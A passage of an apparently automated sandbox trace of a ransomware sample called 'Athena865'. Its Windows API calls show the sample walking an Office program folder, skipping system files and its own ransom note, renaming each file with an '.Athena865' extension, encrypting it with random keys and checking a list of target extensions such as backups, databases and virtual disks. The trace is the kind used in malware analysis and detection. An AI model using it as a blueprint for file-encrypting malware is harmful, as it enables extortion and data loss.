dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40230, lpName=0x0) returned 0x17c [0077.864] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40230) returned 0x2d50000 [0077.873] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.873] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.873] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.874] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0077.876] CloseHandle (hObject=0x17c) returned 1 [0077.876] CloseHandle (hObject=0x154) returned 1 [0077.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.878] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ad2d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32ad2d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xd1160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSQRY32.EXE", cAlternateFileName="")) returned 1 [0077.878] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.878] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.878] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2=".") returned 1 [0077.878] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2="..") returned 1 [0077.878] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2="windows") returned -1 [0077.878] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2="bootmgr") returned 1 [0077.878] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2="temp") returned -1 [0077.878] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2="pagefile.sys") returned -1 [0077.878] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2="boot") returned 1 [0077.878] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2="ids.txt") returned 1 [0077.878] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2="ntuser.dat") returned -1 [0077.878] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2="perflogs") returned -1 [0077.878] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2="MSBuild") returned 1 [0077.878] lstrlenW (lpString="MSQRY32.EXE") returned 11 [0077.878] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSQRY32.EXE" | out: lpString1="MSQRY32.EXE") returned="MSQRY32.EXE" [0077.878] lstrlenW (lpString="MSQRY32.EXE") returned 11 [0077.878] lstrlenW (lpString="Athena865") returned 9 [0077.878] lstrcmpiW (lpString1="QRY32.EXE", lpString2="Athena865") returned 1 [0077.878] lstrlenW (lpString=".dll") returned 4 [0077.878] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2=".dll") returned 1 [0077.878] lstrlenW (lpString=".lnk") returned 4 [0077.878] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2=".lnk") returned 1 [0077.879] lstrlenW (lpString=".ini") returned 4 [0077.879] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2=".ini") returned 1 [0077.879] lstrlenW (lpString=".sys") returned 4 [0077.879] lstrcmpiW (lpString1="MSQRY32.EXE", lpString2=".sys") returned 1 [0077.879] lstrlenW (lpString="MSQRY32.EXE") returned 11 [0077.879] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSQRY32.EXE.Athena865") returned 64 [0077.879] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSQRY32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msqry32.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSQRY32.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msqry32.exe.athena865"), dwFlags=0x1) returned 1 [0077.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSQRY32.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msqry32.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.880] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=856416) returned 1 [0077.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.881] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.881] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.881] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.881] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd1460, lpName=0x0) returned 0x17c [0077.883] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd1460) returned 0x2d50000 [0077.918] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.919] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.919] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.919] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0077.927] CloseHandle (hObject=0x17c) returned 1 [0077.927] CloseHandle (hObject=0x154) returned 1 [0077.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.930] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e550, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSRTEDIT.DLL", cAlternateFileName="")) returned 1 [0077.930] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.930] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.930] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2=".") returned 1 [0077.930] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2="..") returned 1 [0077.931] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2="windows") returned -1 [0077.931] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2="bootmgr") returned 1 [0077.931] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2="temp") returned -1 [0077.931] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2="pagefile.sys") returned -1 [0077.931] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2="boot") returned 1 [0077.931] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2="ids.txt") returned 1 [0077.931] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2="ntuser.dat") returned -1 [0077.931] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2="perflogs") returned -1 [0077.931] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2="MSBuild") returned 1 [0077.931] lstrlenW (lpString="MSRTEDIT.DLL") returned 12 [0077.931] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSRTEDIT.DLL" | out: lpString1="MSRTEDIT.DLL") returned="MSRTEDIT.DLL" [0077.931] lstrlenW (lpString="MSRTEDIT.DLL") returned 12 [0077.931] lstrlenW (lpString="Athena865") returned 9 [0077.931] lstrcmpiW (lpString1="TEDIT.DLL", lpString2="Athena865") returned 1 [0077.931] lstrlenW (lpString=".dll") returned 4 [0077.931] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2=".dll") returned 1 [0077.931] lstrlenW (lpString=".lnk") returned 4 [0077.931] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2=".lnk") returned 1 [0077.931] lstrlenW (lpString=".ini") returned 4 [0077.931] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2=".ini") returned 1 [0077.931] lstrlenW (lpString=".sys") returned 4 [0077.931] lstrcmpiW (lpString1="MSRTEDIT.DLL", lpString2=".sys") returned 1 [0077.931] lstrlenW (lpString="MSRTEDIT.DLL") returned 12 [0077.931] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSRTEDIT.DLL.Athena865") returned 65 [0077.931] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSRTEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msrtedit.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSRTEDIT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msrtedit.dll.athena865"), dwFlags=0x1) returned 1 [0077.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSRTEDIT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msrtedit.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.937] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=124240) returned 1 [0077.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.938] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.938] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.938] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.938] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e850, lpName=0x0) returned 0x17c [0077.940] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e850) returned 0x100000 [0077.944] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.945] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.945] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.946] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0077.947] CloseHandle (hObject=0x17c) returned 1 [0077.947] CloseHandle (hObject=0x154) returned 1 [0077.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf055920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xff368, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTORDB.EXE", cAlternateFileName="")) returned 1 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2=".") returned 1 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2="..") returned 1 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2="windows") returned -1 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2="bootmgr") returned 1 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2="temp") returned -1 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2="pagefile.sys") returned -1 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2="boot") returned 1 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2="ids.txt") returned 1 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2="ntuser.dat") returned -1 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2="perflogs") returned -1 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2="MSBuild") returned 1 [0077.948] lstrlenW (lpString="MSTORDB.EXE") returned 11 [0077.948] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSTORDB.EXE" | out: lpString1="MSTORDB.EXE") returned="MSTORDB.EXE" [0077.948] lstrlenW (lpString="MSTORDB.EXE") returned 11 [0077.948] lstrlenW (lpString="Athena865") returned 9 [0077.948] lstrcmpiW (lpString1="TORDB.EXE", lpString2="Athena865") returned 1 [0077.948] lstrlenW (lpString=".dll") returned 4 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2=".dll") returned 1 [0077.948] lstrlenW (lpString=".lnk") returned 4 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2=".lnk") returned 1 [0077.948] lstrlenW (lpString=".ini") returned 4 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2=".ini") returned 1 [0077.948] lstrlenW (lpString=".sys") returned 4 [0077.948] lstrcmpiW (lpString1="MSTORDB.EXE", lpString2=".sys") returned 1 [0077.949] lstrlenW (lpString="MSTORDB.EXE") returned 11 [0077.949] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSTORDB.EXE.Athena865") returned 64 [0077.949] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORDB.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\mstordb.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORDB.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mstordb.exe.athena865"), dwFlags=0x1) returned 1 [0077.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSTORDB.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mstordb.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.953] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1045352) returned 1 [0077.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.954] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.954] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.954] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.954] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.954] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.955] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xff670, lpName=0x0) returned 0x17c [0077.964] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xff670) returned 0x2d50000 [0078.094] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0078.095] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0078.095] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0078.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0078.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0078.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0078.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0078.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0078.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0078.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0078.096] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0078.105] CloseHandle (hObject=0x17c) returned 1 [0078.105] CloseHandle (hObject=0x154) returned 1 [0078.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0078.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0078.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0078.109] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7931a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x59460250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7931a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x20158, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTORE.EXE", cAlternateFileName="")) returned 1 [0078.109] lstrcmpiW (lpString1="MSTORE.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0078.109] lstrcmpiW (lpString1="MSTORE.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0078.109] lstrcmpiW (lpString1="MSTORE.EXE", lpString2=".") returned 1 [0078.109] lstrcmpiW (lpString1="MSTORE.EXE", lpString2="..") returned 1 [0078.109] lstrcmpiW (lpString1="MSTORE.EXE", lpString2="windows") returned -1 [0078.109] lstrcmpiW (lpString1="MSTORE.EXE", lpString2="bootmgr") returned 1 [0078.109] lstrcmpiW (lpString1="MSTORE.EXE", lpString2="temp") returned -1 [0078.110] lstrcmpiW (lpString1="MSTORE.EXE", lpString2="pagefile.sys") returned -1 [0078.110] lstrcmpiW (lpString1="MSTORE.EXE", lpString2="boot") returned 1 [0078.110] lstrcmpiW (lpString1="MSTORE.EXE", lpString2="ids.txt") returned 1 [0078.110] lstrcmpiW (lpString1="MSTORE.EXE", lpString2="ntuser.dat") returned -1 [0078.110] lstrcmpiW (lpString1="MSTORE.EXE", lpString2="perflogs") returned -1 [0078.110] lstrcmpiW (lpString1="MSTORE.EXE", lpString2="MSBuild") returned 1 [0078.110] lstrlenW (lpString="MSTORE.EXE") returned 10 [0078.110] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSTORE.EXE" | out: lpString1="MSTORE.EXE") returned="MSTORE.EXE" [0078.110] lstrlenW (lpString="MSTORE.EXE") returned 10 [0078.110] lstrlenW (lpString="Athena865") returned 9 [0078.110] lstrcmpiW (lpString1="STORE.EXE", lpString2="Athena865") returned 1 [0078.110] lstrlenW (lpString=".dll") returned 4 [0078.110] lstrcmpiW (lpString1="MSTORE.EXE", lpString2=".dll") returned 1 [0078.110] lstrlenW (lpString=".lnk") returned 4 [0078.110] lstrcmpiW (lpString1="MSTORE.EXE", lpString2=".lnk") returned 1 [0078.110] lstrlenW (lpString=".ini") returned 4 [0078.110] lstrcmpiW (lpString1="MSTORE.EXE", lpString2=".ini") returned 1 [0078.110] lstrlenW (lpString=".sys") returned 4 [0078.110] lstrcmpiW (lpString1="MSTORE.EXE", lpString2=".sys") returned 1 [0078.110] lstrlenW (lpString="MSTORE.EXE") returned 10 [0078.110] lstrlenW (lpString="bak") returned 3 [0078.110] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0078.110] lstrlenW (lpString="ba_") returned 3 [0078.110] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0078.110] lstrlenW (lpString="dbb") returned 3 [0078.110] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0078.110] lstrlenW (lpString="vmdk") returned 4 [0078.110] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0078.110] lstrlenW (lpString="rar") returned 3 [0078.110] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0078.110] lstrlenW (lpString="zip") returned 3 [0078.110] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0078.111] lstrlenW (lpString="tgz") returned 3 [0078.111] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0078.111] lstrlenW (lpString="vbox") returned 4 [0078.111] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0078.111] lstrlenW (lpString="vdi") returned 3 [0078.111] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0078.111] lstrlenW (lpString="vhd") returned 3 [0078.111] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0078.111] lstrlenW (lpString="vhdx") returned 4 [0078.111] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0078.111] lstrlenW (lpString="avhd") returned 4 [0078.111] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0078.111] lstrlenW (lpString="db") returned 2 [0078.111] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0078.111] lstrlenW (lpString="db2") returned 3 [0078.111] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0078.111] lstrlenW (lpString="db3") returned 3 [0078.111] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0078.111] lstrlenW (lpString="dbf") returned 3 [0078.111] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0078.111] lstrlenW (lpString="mdf") returned 3 [0078.111] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0078.111] lstrlenW (lpString="mdb") returned 3 